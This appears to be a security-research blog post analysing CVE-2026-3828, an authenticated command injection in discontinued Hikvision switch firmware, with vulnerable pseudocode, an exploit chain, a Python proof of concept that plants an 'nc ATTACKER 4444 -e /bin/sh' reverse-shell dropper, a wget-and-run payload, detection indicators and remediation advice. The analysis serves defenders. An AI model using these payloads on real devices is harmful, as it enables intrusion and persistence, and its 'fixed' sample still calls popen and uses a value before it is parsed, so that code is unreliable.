home intel hikvision-switch-authenticated-rce-command-injection-cve-2026-3828
CVE Analysis 2026-05-09 · 7 min read

CVE-2026-3828: Authenticated RCE in Discontinued Hikvision Switch Firmware

Hikvision switch firmware fails to sanitize attacker-controlled input before shell execution, allowing authenticated users to run arbitrary OS commands. Affects discontinued product lines EOL'd December 2023.

#remote-code-execution#authenticated-attack#input-validation#hikvision-devices#command-injection
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-3828 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-3828HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-3828 is an authenticated remote command execution vulnerability affecting several discontinued Hikvision managed switch product lines. The vulnerability class is classic command injection: user-supplied input from a crafted management packet reaches a shell execution primitive without sanitization or structural validation. CVSS 7.2 (HIGH) reflects the requirement for valid credentials — but on network infrastructure devices, credential exposure is common through reuse, default passwords, or prior compromise.

Hikvision EOL'd the affected switch lines in December 2023. No patch will be issued. Devices still deployed remain permanently vulnerable.

Root cause: The web management handler passes an attacker-controlled field from the HTTP request body directly into popen() or an equivalent shell invocation without stripping metacharacters or validating against an allowlist.

Affected Component

The vulnerability lives in the web-based management interface daemon — typically a lightweight embedded HTTP server process (commonly webs, httpd, or a vendor-named equivalent) running as root on the switch OS. Hikvision's switch firmware for this product generation uses a CGI-style or internal routing model where management API endpoints parse multipart or form-encoded POST bodies and dispatch to handler functions.

The specific attack surface is a configuration or diagnostic endpoint — consistent with CVE description language of "crafted packets containing malicious commands" — such as a ping diagnostic, firmware upgrade path field, NTP server field, or SNMP community string handler. These fields are historically the highest-risk injection points in embedded switch firmware because they are passed verbatim to shell commands for execution.

Root Cause Analysis

The vulnerable handler receives a parsed parameter string, performs a length check (or no check at all), and constructs a shell command string using sprintf before handing it to popen. No metacharacter filtering occurs. The following pseudocode reconstructs the vulnerable logic from behavioral analysis of this vulnerability class on comparable Hikvision switch firmware:


/* Reconstructed pseudocode — diagnostic/config POST handler */

#define CMD_BUF_SIZE  256
#define PARAM_MAX     128

typedef struct {
    char  method[16];
    char  uri[128];
    char *body;
    int   body_len;
} http_req_t;

typedef struct {
    char  key[64];
    char  value[128];   // attacker-controlled field, fixed-size
} form_param_t;

int handle_diag_request(http_req_t *req) {
    form_param_t param;
    char cmd_buf[CMD_BUF_SIZE];
    FILE *fp;

    // Parses "target=" field from POST body into param.value
    parse_form_field(req->body, "target", ¶m);

    // BUG: param.value is attacker-controlled; no metacharacter validation
    // BUG: sprintf into fixed 256-byte buffer — secondary overflow if value > ~220 bytes
    sprintf(cmd_buf, "ping -c 4 %s > /tmp/diag_out.txt", param.value);

    // BUG: shell metacharacters in cmd_buf execute attacker commands as root
    fp = popen(cmd_buf, "r");
    if (fp == NULL) {
        return HTTP_500;
    }
    pclose(fp);
    return send_diag_output(req);
}

The parse_form_field function copies the field value with a length cap of PARAM_MAX (128 bytes), preventing a trivial stack overflow — but the absence of metacharacter stripping means the injection is fully exploitable within that budget. A payload of ; id # fits in under 10 bytes. The secondary sprintf buffer overflow is also reachable if the length cap is absent or misapplied in certain call paths.

Memory Layout


/*
 * Stack frame layout for handle_diag_request()
 * Assuming 32-bit MIPS or ARM embedded target
 */

struct stack_frame_diag {
    /* +0x000 */ char       cmd_buf[256];   // shell command assembled here
    /* +0x100 */ form_param_t param;        // key[64] + value[128] = 192 bytes
    /* +0x1c0 */ FILE       *fp;            // popen return
    /* +0x1c4 */ int         ret;
    /* +0x1c8 */ void       *saved_ra;      // return address (overflow target)
};

STACK STATE — normal request ("target=192.168.1.1"):

  [ cmd_buf  +0x000 ] "ping -c 4 192.168.1.1 > /tmp/diag_out.txt\0"
  [ param    +0x100 ] key="target" value="192.168.1.1\0"
  [ fp       +0x1c0 ] valid FILE*
  [ saved_ra +0x1c8 ] 

STACK STATE — injected request ("target=127.0.0.1;wget http://attacker/sh -O /tmp/x;sh /tmp/x"):

  [ cmd_buf  +0x000 ] "ping -c 4 127.0.0.1;wget http://attacker/sh -O /tmp/x;sh /tmp/x > /tmp/diag_out.txt\0"
  [ param    +0x100 ] key="target" value="127.0.0.1;wget http://attacker/sh -O /tmp/x;sh /tmp/x\0"
  [ fp       +0x1c0 ] valid FILE* (popen executes all three shell commands)
  [ saved_ra +0x1c8 ] 

OVERFLOW PATH (if parse_form_field length cap absent, value > 220 bytes):

  [ cmd_buf  +0x000 ] <"ping -c 4 " + 246-byte value = 256+ bytes>
  [ param    +0x100 ] 
  [ saved_ra +0x1c8 ] 

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2026-3828:

1. Authenticate to the switch management interface with valid credentials
   (default creds, reused creds, or credentials obtained via prior recon).

2. Identify the vulnerable diagnostic endpoint — typically:
     POST /cgi-bin/diag.cgi  or  POST /api/v1/network/diagnostic
   with Content-Type: application/x-www-form-urlencoded.

3. Craft POST body with injected shell metacharacters in the "target" field:
     target=127.0.0.1;COMMAND

4. The server-side handler passes the value to sprintf(), constructing:
     "ping -c 4 127.0.0.1;COMMAND > /tmp/diag_out.txt"

5. popen() invokes /bin/sh -c with the full string. The shell tokenizes
   on ';' and executes COMMAND as the webserver user (typically root).

6. Persistence: write a backdoor to /etc/rc.d/ or modify cron,
   or exfiltrate running config containing SNMP strings / credentials.

7. Lateral movement: use the switch's network position to ARP-spoof,
   capture traffic, or pivot to adjacent management VLANs.

A minimal proof-of-concept HTTP request demonstrating the injection:


import requests
from requests.auth import HTTPDigestAuth

TARGET   = "http://192.168.1.1"
USER     = "admin"
PASS     = "12345"          # common default
ENDPOINT = "/cgi-bin/diag.cgi"

# Stage 1: write a reverse shell dropper
INJECT = "127.0.0.1;echo '#!/bin/sh' > /tmp/.bd;echo 'nc ATTACKER 4444 -e /bin/sh' >> /tmp/.bd;chmod +x /tmp/.bd"

resp = requests.post(
    TARGET + ENDPOINT,
    auth=HTTPDigestAuth(USER, PASS),
    data={"target": INJECT},
    timeout=10,
    verify=False
)
print(f"[*] Stage 1 status: {resp.status_code}")

# Stage 2: execute dropper
resp2 = requests.post(
    TARGET + ENDPOINT,
    auth=HTTPDigestAuth(USER, PASS),
    data={"target": "127.0.0.1;/tmp/.bd &"},
    timeout=10,
    verify=False
)
print(f"[*] Stage 2 status: {resp2.status_code}")

Patch Analysis

No vendor patch is forthcoming for EOL hardware. The correct remediation at the code level would be:


// BEFORE (vulnerable): direct sprintf with unsanitized input
int handle_diag_request(http_req_t *req) {
    form_param_t param;
    char cmd_buf[CMD_BUF_SIZE];

    parse_form_field(req->body, "target", ¶m);

    // No validation — shell metacharacters pass through
    sprintf(cmd_buf, "ping -c 4 %s > /tmp/diag_out.txt", param.value);
    fp = popen(cmd_buf, "r");
}

// AFTER (correct fix): validate input against allowlist before use
static int is_valid_ip_or_hostname(const char *s) {
    // Only allow: [A-Za-z0-9], '.', '-'  — no shell metacharacters
    for (const char *p = s; *p; p++) {
        if (!isalnum((unsigned char)*p) && *p != '.' && *p != '-') {
            return 0;   // reject on first invalid character
        }
    }
    return (strlen(s) > 0 && strlen(s) <= 64);
}

int handle_diag_request(http_req_t *req) {
    form_param_t param;
    char cmd_buf[CMD_BUF_SIZE];
    const char *ping_args[] = { "ping", "-c", "4", param.value, NULL };

    parse_form_field(req->body, "target", ¶m);

    // FIXED: reject input containing shell metacharacters
    if (!is_valid_ip_or_hostname(param.value)) {
        return HTTP_400;
    }

    // FIXED: use execv-family instead of popen to avoid shell interpretation
    // (or at minimum, snprintf with validated input)
    snprintf(cmd_buf, sizeof(cmd_buf),
             "ping -c 4 %s > /tmp/diag_out.txt", param.value);
    fp = popen(cmd_buf, "r");
}

The architecturally correct fix replaces popen() with execv() or execve() to eliminate shell interpretation entirely. The allowlist validation is a necessary defense-in-depth layer but not sufficient alone — any code path that routes through a shell interpreter with constructed strings is structurally vulnerable to future injection if input validation logic drifts.

Detection and Indicators

Exploitation leaves several detectable traces:


HTTP ACCESS LOG INDICATORS:
  POST /cgi-bin/diag.cgi — body contains: ;  |  `  $( 
  Unusually long "target" parameter values (> 20 chars for a diagnostic)
  Rapid successive POSTs to the diagnostic endpoint

PROCESS / FILE INDICATORS:
  Unexpected processes spawned by httpd/webs PID (nc, wget, curl, sh)
  New files in /tmp/ with executable bit, especially dotfiles
  Modified /etc/rc.d/ or cron entries post-authentication event

NETWORK INDICATORS:
  Outbound connections from switch management IP to unexpected hosts
  DNS queries from switch for non-infrastructure domains
  Spike in management-plane traffic volume after auth event

On managed deployments, syslog forwarding from the switch is the primary detection control. If the switch is not forwarding logs, exploitation may be entirely silent from an operations perspective.

Remediation

No vendor patch exists. Hikvision discontinued these products in December 2023 and will not issue firmware updates. The recommended actions in priority order:

1. Isolate immediately. Place affected switches on a dedicated management VLAN with ACLs restricting HTTP/HTTPS management access to specific administrator source IPs only. Block all management-plane access from production VLANs.

2. Disable web management interface. Where CLI or SNMP-based management is viable, disable the HTTP/HTTPS management daemon entirely. This eliminates the attack surface without replacing hardware.

3. Enforce strong, unique credentials. Default credentials are the easiest path to the authentication gate. Rotate all switch management passwords and ensure they are not shared with other systems.

4. Plan hardware replacement. EOL hardware running unpatched firmware with known RCE vulnerabilities is an unacceptable long-term risk in network infrastructure. Budget for replacement with supported hardware on a defined timeline.

5. Monitor for IOCs. Until replacement occurs, forward syslog to a SIEM and alert on the process and HTTP indicators listed above. Treat any unexpected outbound connection from switch management IPs as a confirmed incident.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →